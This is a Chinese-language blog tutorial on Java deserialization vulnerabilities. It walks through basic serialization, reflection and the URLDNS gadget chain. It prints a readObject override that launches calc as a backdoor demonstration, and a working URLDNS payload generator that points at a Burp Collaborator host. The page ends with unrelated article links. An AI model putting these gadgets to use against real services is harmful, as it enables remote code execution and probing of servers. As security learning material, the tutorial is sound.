java反序列化基础
前言:最近开始学习java的序列化与反序列化,现在从原生的序列化与反序列化开始,小小的记录一下
参考文章:https://blog.csdn.net/mocas_wang/article/details/107621010
01.什么是序列化与反序列化
其实java的序列化说白了就是将一个对象转换成字节的过程,那么同理,java的反序列化也就是将一个字节转换会一个对象的过程,这样的操作会使得对象在不同的机器之间进行传递变得简单,我们在一台机器上将某个对象序列化之后那么只需要传递序列化之后的字节给另外一台机器,那么另外一台机器只需要进行对应的反序列操作就可以获得传递过来的对象。
下面来演示一下使用io流自带的接口进行序列化与反序列化:
1.首先定义一个Person类用于序列化的操作
1 import java.io.Serializable;
2 //必须继承Serializable接口才可被序列化
3 public class Person implements Serializable {
4 private String name;
5 private int age;
6
7 public Person(String name, int age) {
8 this.name = name;
9 this.age = age;
10 }
11
12 public Person() {
13 }
14
15 @Override
16 public String toString() {
17 return "Person{" +
18 "name='" + name + '\'' +
19 ", age=" + age +
20 '}';
21 }
22 }
2.正常情况下,我们通过以下代码进行实例化,然后打印出这个对象,应该会得到以下的结果
1 public static void main(String[] args) {
2 Person person = new Person("aa",22);
3 System.out.println(person);
4 }
3.那么现在我们用以下代码来对这个对象进行序列化,可以看到,对象的信息会被序列化的写入ser.bin文件中
1 public static void serialize(Object obj) throws IOException{
2 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
3 oos.writeObject(obj);
4 }
4.那么接下来我们只要在另外一个类中,实现反序列化的代码,就可以很轻松的获取到原来想要传递的对象
1 import java.io.FileInputStream;
2 import java.io.FileNotFoundException;
3 import java.io.IOException;
4 import java.io.ObjectInputStream;
5
6 public class UnserializeTest {
7 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
8 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
9 Object obj = ois.readObject();
10 return obj;
11 }
12
13 public static void main(String[] args) throws IOException, ClassNotFoundException {
14 Person person = (Person)unserialize("ser.bin");
15 System.out.println(person);
16 }
17 }
tips:
- 必须实现Serializable接口的类才可被序列化
- 静态成员变量是不能被序列化的,因为静态成员变量是属于类中的,而不是属于被实例化对象
- transient标识的对象成员变量是不可以被序列化的
那么为什么会产生安全问题呢?
只要服务端反序列化了数据,客户端传递类的readObject中的代码就会自动执行,给予攻击者在服务器上运行代码的能力
如何利用?
首先,我们需要找到一个入口类,这个类需要重写了readObject,同时最好重写了一个常见的函数这样我们可以进一步的去找调用链,最后我们需要去找到一个执行类(rce,ssrf,写文件等等)
1.我们知道,在反序列化的过程中,会调用ObjectInputStream中的readObject方面,那么如果我们在类中就重写了这个方法,反序列化时调用的这个方法是不是就会调用我们重写的方法,这时候只需要把后门代码放在里面,就可以达到攻击的目的。重写代码如下:
1 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
2 ois.defaultReadObject();
3 Runtime.getRuntime().exec("calc");
4 }
2.如果入口类参数中包含可控类,该类有危险方法,readObject时就可以去调用,比方说Map,他可以是Map<Object,Object>这种类型,同时Map又继承了Serializable接口,那么就会可以被利用
3.入口类参数中包含可控类,该类又调用了其他有危险方法的类,就可以在readObject时去调用
Java反射机制
通常,我们在利用反序列化漏洞的时候会运用到java的反射机制,下面这篇文章很好的讲述了java的反射机制
参考文章:https://blog.csdn.net/weiwenhou/article/details/103650422
总结一下:
- 反射的作用:让java具有动态性
- 修改已有对象的属性
- 动态的生成对象
- 动态的调用方法
- 操作内部类和私有方法
在反序列化漏洞中的应用:
- 定制需要的对象
- 通过invoke调用除了同名函数以外的函数
- 通过Class类创建对象,引入不能序列化的类
简单使用
1 import java.lang.reflect.Constructor;
2 import java.lang.reflect.Field;
3 import java.lang.reflect.Method;
4
5 public class ReflectionTest {
6 public static void main(String[] args) throws Exception {
7 Person person = new Person();
8 Class c = person.getClass();
9 //反射就是操作Class
10
11 //从原型class里面实例化对象
12 //c.newInstance(); 无参,无法使用
13 Constructor personconstructor = c.getConstructor(String.class,int.class);
14 Person p = (Person) personconstructor.newInstance("abc",22);
15 System.out.println(p);
16 //获取类里面的属性
17 //c.getFields();只能打印public的属性
18 //c.getDeclaredFields()都可以打印
19 Field[] personfields = c.getDeclaredFields();
20 for (Field f:personfields){
21 System.out.println(f);
22 }
23 //获取单个
24 Field namefield = c.getField("name");
25 namefield.set(p,"testedit");//需要一个示例
26 System.out.println(p);
27 //修改私有变量
28 Field agefield = c.getDeclaredField("age");
29 agefield.setAccessible(true);//允许访问私有变量
30 agefield.set(p,33);
31 System.out.println(p);
32 //调用类里面的方法
33 Method[] personMethods = c.getDeclaredMethods();
34 for(Method m:personMethods){
35 System.out.println(m);
36 }
37 //获取单个方法
38 Method actionmethod = c.getMethod("action",String.class);
39 actionmethod.invoke(p,"testaction");//调用触发
40 }
41 }
URL-DNS链
首先,我们想要利用URL-DNS链,我们可以先来看一下URL类中是否存在readObject方法,但是我们可以很明显的发现,URL类中的该方法,没有调用危险函数,那么是不是就不能够利用了呢?
其实,在URL类中,存在一个hashcode函数,这个函数会发起DNS请求,那么我们该怎么操作可以使得在反序列化时让他调用这个函数呢,我们可以通过利用hashMap中的hash方法,hashMap在反序列化时会调用readObject方法,该方法的Key值会调用Key.hashcode方法,那么只要将URL类作为hashMap的key,我们就可以成功利用,但是实际上,我们需要利用java的反射机制,对某些参数进行修改,因为在put的过程中,如果hashcode的值为-1那么也会调用hashcode方法,那么我们就无法分辨,到底是在哪个缓解出发了反序列化漏洞,具体的利用代码如下。
1 import java.io.FileOutputStream;
2 import java.io.IOException;
3 import java.io.ObjectOutputStream;
4 import java.lang.reflect.Field;
5 import java.net.URL;
6 import java.util.HashMap;
7
8 public class SerializationTest {
9 public static void serialize(Object obj) throws Exception{
10 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
11 oos.writeObject(obj);
12 }
13
14 public static void main(String[] args) throws Exception {
15 // Person person = new Person("aa",22);
16 // System.out.println(person);
17 // serialize(person);
18 HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
19 //一开始不能发起请求 //把url对象的hashcode改成不是-1
20 URL url = new URL("http://tzwb9yz0ehtmjrpw7rwvu57d94fu3j.burpcollaborator.net");
21 Class c = url.getClass();
22 Field hashcode = c.getDeclaredField("hashCode");
23 hashcode.setAccessible(true);
24 hashcode.set(url,1);
25 hashMap.put(url,1);
26 //现在可以把hashcode给改回来
27 hashcode.set(url,-1);
28 serialize(hashMap);
29 }
30 }
java反序列化基础的更多相关文章
- Java反序列化漏洞Apache CommonsCollections分析
Java反序列化漏洞Apache CommonsCollections分析 cc链,既为Commons-Collections利用链.此篇文章为cc链的第一条链CC1.而CC1目前用的比较多的有两条链 ...
- JAVA反序列化漏洞基础原理
JAVA反序列化漏洞基础原理 1.1 什么是序列化和反序列化? Java序列化是指把Java对象转换为字节序列的过程: Java反序列化是指把字节序列恢复为Java对象的过程: 1.2 为什么要序列化 ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- 【重走Android之路】【Java面向对象基础(三)】面向对象思想
[重走Android之路][基础篇(三)][Java面向对象基础]面向对象思想 1 面向对象的WWH 1.1 What--什么是面向对象 首先,要理解“对象”.在Thinkin ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- 【JAVA零基础入门系列】Day14 Java对象的克隆
今天要介绍一个概念,对象的克隆.本篇有一定难度,请先做好心理准备.看不懂的话可以多看两遍,还是不懂的话,可以在下方留言,我会看情况进行修改和补充. 克隆,自然就是将对象重新复制一份,那为什么要用克隆呢 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- Java底层基础题
一.Java底层基础题 1.SpringMVC的原理以及返回数据如何渲染到jsp/html上? 答:Spring MVC的核心就是DispatcherServlet , 一个请求经过Dispatche ...
- 对ysoserial工具及java反序列化的一个阶段性理解【未完成】
经过一段时间的琢磨与反思,以及重读了大量之前看不懂的反序列化文章,目前为止算是对java反序列化这块有了一个阶段性的小理解. 目前为止,发送的所有java反序列化的漏洞中.主要需要两个触发条件: 1. ...
随机推荐
- LoadRunner11脚本小技能之添加请求头+定义变量+响应内容乱码转换打印+事务拆分
一.添加请求头 存在一些接口,发送请求时需要进行权限验证.登录验证(不加请求头时运行脚本,接口可能会报401等等),所以需要在脚本中给对应请求添加请求头.注意:请求头需在请求前添加,包含url类.su ...
- 视频服务HDR Vivid 还原色彩,让所见成“真”
如今,视频正在以一种前所未有的方式渗入日常生活,是当下人们记录生活最热门的方式.所以,用户对视频的画质要求越来越高,App想要吸引更多的用户,拥有视频画质新技术的强力支撑很关键. HDR(High-D ...
- 使用lamdba查询datatable中的一个值或者单元格
首先创建一个datatable,结构简单的分为两列 Datatable dt=new Datatable(); dt.Columns("code"); dt.Columns(&qu ...
- VMware宿主机访问虚拟机的Web服务
VMware宿主机访问虚拟机的Web服务,主要就是宿主机可以通过IP能够访问到虚拟机. 可以尝试使用以下步骤. 1.关闭虚拟机,把网络连接方式修改成桥接方式. 2.打开虚拟机后,把虚拟机的防火墙关闭. ...
- day18 批量查询与模糊查询 & 聚合函数与内置函数 & distinct关键字 & 分页查询limit & 排序order
day18 两个表student和user student id s_name s_age s_sex user id u_name u_age u_sex 批量插入 insert into stud ...
- JavaEE Day01 基础加强
今日内容 1.Junit单元测试(测试类) 2.反射 3.注解 一.Junit单元测试 1.概述 测试分类 1. 黑盒测试:不需要写代码,给输入值,看程序是否能够输出期望的值 2.白盒测试:需要写代码 ...
- 【Java EE】Day08 HTML&CSS
一.表单 1.概述 采集数据,与服务器交互包括 form表单,需要提交则必须设置name属性,action方式主要包 get:参数会在地址栏显示(请求行),长度有限 post:参数被封装在请求体,参数 ...
- Oracle或者Mysql误删表之后的恢复办法
执行drop table 表名;的命令会将表放到回收站里: 执行flashback table 表名 to before drop;的命令就能恢复. 如果忘记删掉了哪个表,可以在数据库工具Navica ...
- vue 组件之间传值(父传子,子传父)
1.父传子 基本就用一个方式,props Father.vue(用v-bind(简写 : ) 将父组件传的值绑定到子组件上) <template> <div> 我是爸爸:{{ ...
- 云知声: 基于 JuiceFS 的超算平台存储实践
云知声从一家专注于语音及语言处理的技术公司,现在技术栈已经发展到具备图像.自然语言处理.信号等全栈式的 AI 能力,是国内头部人工智能独角兽企业.公司拥抱云计算,在智慧医疗.智慧酒店.智慧教育等方面都 ...